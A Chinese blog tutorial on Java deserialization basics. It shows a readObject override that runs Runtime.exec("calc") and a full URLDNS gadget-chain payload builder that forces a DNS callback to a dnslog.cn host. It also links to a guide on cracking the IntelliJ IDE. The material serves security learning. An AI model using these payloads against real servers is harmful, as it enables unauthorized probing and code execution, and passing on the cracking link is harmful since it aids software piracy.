首页 > 编程语言 >01、Java 安全-反序列化基础

01、Java 安全-反序列化基础

时间:2024-04-20 16:14:10浏览次数:25  
标签:01 Java String java hashCode new 序列化 public

Java 反序列化基础

1.ObjectOutputStream 与 ObjectInputStream类

1.1.ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。 序列化操作 一个对象要想序列化,必须满足两个条件:
  • 该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会使任何状态序列化或反序列化,会抛出 NotSerializableException 。
  • 该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态的,使用transient 关键字修饰。
示例: Employee.java
public class Employee implements java.io.Serializable{
    public String name;
    public String address;
    public transient int age; // transient瞬态修饰成员,不会被序列化
    public void addressCheck() {
        System.out.println("Address check : " + name + " -- " + address);
        //此处省略tostring等方法
    }
}
SerializeDemo.java
public class SerializeDemo {
    public static void main(String[] args) throws IOException {
        Employee e = new Employee();
        e.name = "zhangsan";
        e.age = 20;
        e.address = "shenzhen";
        // 1.创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        // 2.写出对象
        outputStream.writeObject(e);
        // 3.释放资源
        outputStream.close();
    }
}
将Employee对象写入到了employee.txt文件中 开头的 AC ED 00 05 为序列化内容的特征

1.2.ObjectInputStream类

如果能找到一个对象的class文件,我们可以进行反序列化操作,调用 ObjectInputStream 读取对象的方法:
public class DeserializeDemo {
    public static void main(String[] args) throws IOException,
    ClassNotFoundException {
        // 1.创建反序列化流
        FileInputStream fileInputStream = new FileInputStream("ser.txt");
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
        // 2.使用ObjectInputStream中的readObject读取一个对象
        Object o = inputStream.readObject();
        // 3.释放资源
        inputStream.close();
        System.out.println(o);
    }
}
打印结果: 反序列化操作就是从二进制文件中提取对象

1.3.示例

 1 package myTest;
 2 
 3 import java.io.*;
 4 
 5 class User implements Serializable {
 6     public String username;
 7     private int age;
 8 //    不希望被序列化
 9     private transient String sex;
10 
11 //    构造函数
12     public User(String username, int age, String sex) {
13         this.username = username;
14         this.age = age;
15         this.sex = sex;
16     }
17 
18 //    toString方法
19     @Override
20     public String toString() {
21         return "User{" +
22                 "username='" + username + '\'' +
23                 ", age=" + age +
24                 ", sex='" + sex + '\'' +
25                 '}';
26     }
27 }
28 
29 
30 public class myTest {
31 //    主函数
32     public static void main(String[] args) throws Exception {
33         User user = new User("moonsec", 20, "man");
34         System.out.println(user);
35 //        序列化对象
36 //        Serilize(user);
37 //        反序列化对象
38         Deserialize();
39     }
40 
41 //    序列化对象方法
42     public static void Serilize(Object obj) throws Exception {
43 //        创建序列化流
44         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
45 //        将序列化对象写入ser.txt中
46         outputStream.writeObject(obj);
47 //        释放资源
48         outputStream.close();
49     }
50 
51 //    反序列化对象方法
52     public static void Deserialize() throws Exception {
53 //        创建反序列化流
54         ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
55 //        使用ObjectInputStream类中的readObject读取一个对象
56         Object obj = inputStream.readObject();
57 //        释放资源
58         inputStream.close();
59         System.out.println(obj);
60     }
61 }
View Code

2.反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞
 1 package myTest;
 2 
 3 import java.io.*;
 4 
 5 class User implements Serializable {
 6     public String username;
 7     private int age;
 8 //    不希望被序列化
 9     private transient String sex;
10 
11 //    构造函数
12     public User(String username, int age, String sex) {
13         this.username = username;
14         this.age = age;
15         this.sex = sex;
16     }
17 
18 //    重新readObject方法
19     private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
20         in.defaultReadObject();
21         Runtime.getRuntime().exec("calc");
22     }
23 
24 //    toString方法
25     @Override
26     public String toString() {
27         return "User{" +
28                 "username='" + username + '\'' +
29                 ", age=" + age +
30                 ", sex='" + sex + '\'' +
31                 '}';
32     }
33 }
34 
35 
36 public class myTest {
37 //    主函数
38     public static void main(String[] args) throws Exception {
39         User user = new User("moonsec", 20, "man");
40         System.out.println(user);
41 //        序列化对象,这里不会执行 calc 命令
42 //        Serilize(user);
43 //        反序列化对象,此时会调用 重写的 readObject 方法,执行 calc 命令
44         Deserialize();
45     }
46 
47 //    序列化对象方法
48     public static void Serilize(Object obj) throws Exception {
49 //        创建序列化流
50         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
51 //        将序列化对象写入ser.txt中
52         outputStream.writeObject(obj);
53 //        释放资源
54         outputStream.close();
55     }
56 
57 //    反序列化对象方法
58     public static void Deserialize() throws Exception {
59 //        创建反序列化流
60         ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
61 //        使用ObjectInputStream类中的readObject读取一个对象
62         Object obj = inputStream.readObject();
63 //        释放资源
64         inputStream.close();
65         System.out.println(obj);
66     }
67 }
View Code

此处重写了readObject方法,执行了 Runtime.getRuntime().exec()

defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法

运行流程:

1. myObj对象序列化进object文件 2. 从object反序列化对象->调用readObject方法->执行 Runtime.getRuntime().exec("calc.exe"); 

3.java类中serialVersionUID的作用

验证版本是否一致: serialVersionUID 适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的 serialVersionUID 来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的 serialVersionUID 与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是 InvalidCastException。

3.1.serialVersionUID有两种显示的生成方式

一是 默认的1L,比如:private static final long serialVersionUID = 1L;

二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:private static final

long serialVersionUID = xxxxL; 注意:显示声明serialVersionUID可以避免对象不一致, 设置自动生存uid

4.URLDNS 链

URLDNS 链是 java 原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。 HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。 HashMap 最早出现在 JDK 1.2 中,底层基于散列算法实现。而正是因为在 HashMap 中,Entry 的存放位置是根据 Key 的 Hash 值来计算,然后存放到数组中的。所以对于同一个 Key,在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此,HashMap 实现了自己的 writeObject 和 readObject 方法。

4.1.调用链分析

因为是研究反序列化问题,所以我们来看一下它的readObject方法

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法,跟进看 putVal 里 hash 函数
1 static final int hash(Object key) {
2     int h;
3     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
4 }
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。 很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前 URLStreamHandler 的 hashCode 方法。 URL->hashCode 
1 public synchronized int hashCode() {
2     if (hashCode != -1)
3         return hashCode;
4         
5     hashCode = handler.hashCode(this);
6     return hashCode;
7 }
hashCode等于-1的时候调用handler中的hashCode
 1 protected int hashCode(URL u) {
 2     int h = 0;
 3     
 4     // Generate the protocol part.
 5     String protocol = u.getProtocol();
 6     if (protocol != null)
 7         h += protocol.hashCode();
 8         
 9     // Generate the host part.
10     InetAddress addr = getHostAddress(u);
11     if (addr != null) {
12         h += addr.hashCode();
13     } else {
14         String host = u.getHost();
15         if (host != null)
16         h += host.toLowerCase().hashCode();
17     }
18     
19     // Generate the file part.
20     String file = u.getFile();
21     if (file != null)
22         h += file.hashCode();
23     
24     // Generate the port part.
25     if (u.getPort() == -1)
26         h += getDefaultPort();
27     else
28         h += u.getPort();
29         
30     // Generate the ref part.
31     String ref = u.getRef();
32     if (ref != null)
33         h += ref.hashCode();
34     return h;
35 }
主要是这一句话存在dns查询 InetAddress addr = getHostAddress(u);
 1 protected synchronized InetAddress getHostAddress(URL u) {
 2     if (u.hostAddress != null)
 3         return u.hostAddress;
 4         
 5     String host = u.getHost();
 6     if (host == null || host.equals("")) {
 7         return null;
 8     } else {
 9         try {
10             u.hostAddress = InetAddress.getByName(host);
11         } catch (UnknownHostException ex) {
12             return null;
13         } catch (SecurityException se) {
14             return null;
15         }
16     }
17     return u.hostAddress;
18 }
最后触发这里 进行DNS查询。 也就是说我们现在思路是通过 hashmap 放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在 URLStreamHandler 的hashCode方法中首先进行了一个缓存判断即如果不等于 -1 会直接return。 
1 if (hashCode != -1)
2     return hashCode;
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。 正常的情况下hashmap->put的时候就会进行dns 
 1 import java.net.URL;
 2 import java.util.HashMap;
 3 
 4 public class DnsTest {
 5     public static void main(String[] args) throws Exception {
 6         HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
 7         URL url = new URL("http://hobeey.dnslog.cn");
 8         hashmap.put(url,222);
 9     }
10 }
成功返回 ip:http://dnslog.cn/

整个调用链
HashMap->readObject()
HashMap->hash()
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()

4.2.反序列化利用

package myTest;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class dnsTest {
    public static void main(String[] args) throws Exception {
//        正常的流程:hashMap -> readObject -> hash-URL.hashCode -> getHostAddress -> InetAddress.getByName(host);
        HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://oq1hz4.dnslog.cn");
//        通过反射,将 hashCode 的值修改为不是 -1
        Class c = URL.class;
        Field fieldHashcode = c.getDeclaredField("hashCode");
        fieldHashcode.setAccessible(true);
        fieldHashcode.set(url, 233);
//        此时,由于修改了 hashCode 的值不为 -1,所以不会访问 url
        hashMap.put(url, 22);
        fieldHashcode.set(url, -1);
//        在执行反序列化时,要去访问 url
        Serilize(hashMap);
    }
    public static void Serilize(Object obj) throws Exception {
//        创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
//        将序列化对象写入ser.txt中
        outputStream.writeObject(obj);
//        释放资源
        outputStream.close();
    }
}
View Code

进行反序列化

package myTest;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Deserialize {
    public static void main(String[] args) throws Exception {
        Deserialize();
    }
    public static void Deserialize() throws Exception {
//        创建反序列化流
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
//        使用ObjectInputStream类中的readObject读取一个对象
        Object obj = inputStream.readObject();
//        释放资源
        inputStream.close();
    }
}
View Code

5.IDEA 安装破解

参考:https://www.cnblogs.com/beast-king/p/17856236.html

标签:01,Java,String,java,hashCode,new,序列化,public
From: https://www.cnblogs.com/luoluostudy/p/18147799

相关文章

  • 【Java 线程】SpringBoot 启动后都有哪些线程呢?
    1 前言现在流行搞微服务,基本也都是SpringBoot打底的,那么你可否知道一个基本的SpringBoot启动后,都开辟了哪些线程呢?这节我们就来看看。为什么要看呢?这个主要是增加对服务的了解,比如你管的支付中心或者订单中心,你都有哪些线程,各个线程都是干什么的,你不了解这些你怎么调优,你......
  • 4.Java流程控制
    Java流程控制Scannner对象(获取用户的输入)//基本格式:Scannerscanner=newScanner(System.in);Stringstr=scanner.nextLine();//其中nextLine()按情况替换scanner.close();publicstaticvoidmain(String[]args){//创建一个扫描器对象,用于接受......
  • java中的set集合
    java中的set集合目录java中的set集合1.HashSet集合1.1HashSet的特点1.2HashSet常用方法2.LinkedHashSet集合2.1LinkedHashSet集合的特点3.TreeSet集合3.1TreeSet集合的特点3.2TreeSet的基本使用4.HashSet、LinkedHashSet、TreeSet的使用场景5.list和set集合的区别5.1有序性5.2唯......
  • java中的接口
    java中的接口目录java中的接口特征接口回调接口和抽象类的异同总结特征接口使用interface关键字接口中的所有方法默认都是publicabstract修饰接口中所有的成员变量都是publicstaticfinal修饰接口没有构造方法,构造方法用于创建对象(接口没办法new对象),但是接口使用......
  • Java 集合进阶使用(List Map Set)
    CollectionCollection是其子集的父类,所以可以使用多态的规矩,比如:创建一个ArrayList对象,用Collection接收Collection<Integer>collection=newArrayList<>();注意:Collection为接口,不能直接创建对象,但可以利用其子类,使用Collection方法,就如上方代码一样Collection......
  • 【转载】Java函数式编程——为什么new Thread()中要用函数式编程
    面向对象过分强调“必须通过对象的形式来做事情”,而函数式思想则尽量忽略面向对象的复杂语法——强调做什么,而不是以什么形式做。面向对象的思想:做一件事情,找一个能解决这个事情的对象,调用对象的方法,完成事情.函数式编程思想:只要能获取到结果,谁去做的,怎么做的都不重要,......
  • Python与Java数据结构语法区别
    数组参考链接:CS61BPythonzeroedLst=[0,0,0]lst=[4,7,10]lst[0]=5print(lst[0])print(lst)print(len(lst))Javaint[]zeroedArray=newint[3];int[]array={4,7,10};array[0]=5;System.out.println(array[0]);System.out.println(Ar......
  • java srpint boot 2.2.1 第二部份,锁机制和分页查询 以及统一返回结果格式,
    第二部份,引起锁机制的原理和解决方案: 测试环境搭建第一步先建一个数据库表用于模拟商品购买。CREATETABLEproduct(idINTAUTO_INCREMENTPRIMARYKEY,nameVARCHAR(255)NOTNULL,stockINTNOTNULL,versionINTNOTNULLDEFAULT0);第二步......
  • Google和Oracle关于Java的知识产权诉讼
    Google和Oracle关于Java的知识产权诉讼背景Oracle收购SUN之后立即对Oracle展开了诉讼.经历了多级法院的上诉和驳回.2021.4.5美国联邦最高法院判断.Google不侵权.无需赔偿Oracle提起的80亿美金的诉讼但是专利官司在美国科技史上影响很大.AMD跟Intel的关于x86......
  • [Java]volatile关键字
    【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权)https://www.cnblogs.com/cnb-yuchen/p/18031966出自【进步*于辰的博客】启发博文:《Javavolatile关键字最全总结:原理剖析与实例讲解(简单易懂)》(转发)。参考笔记二,P73、P74.1。目录1、JMM规范2、并发编程的三......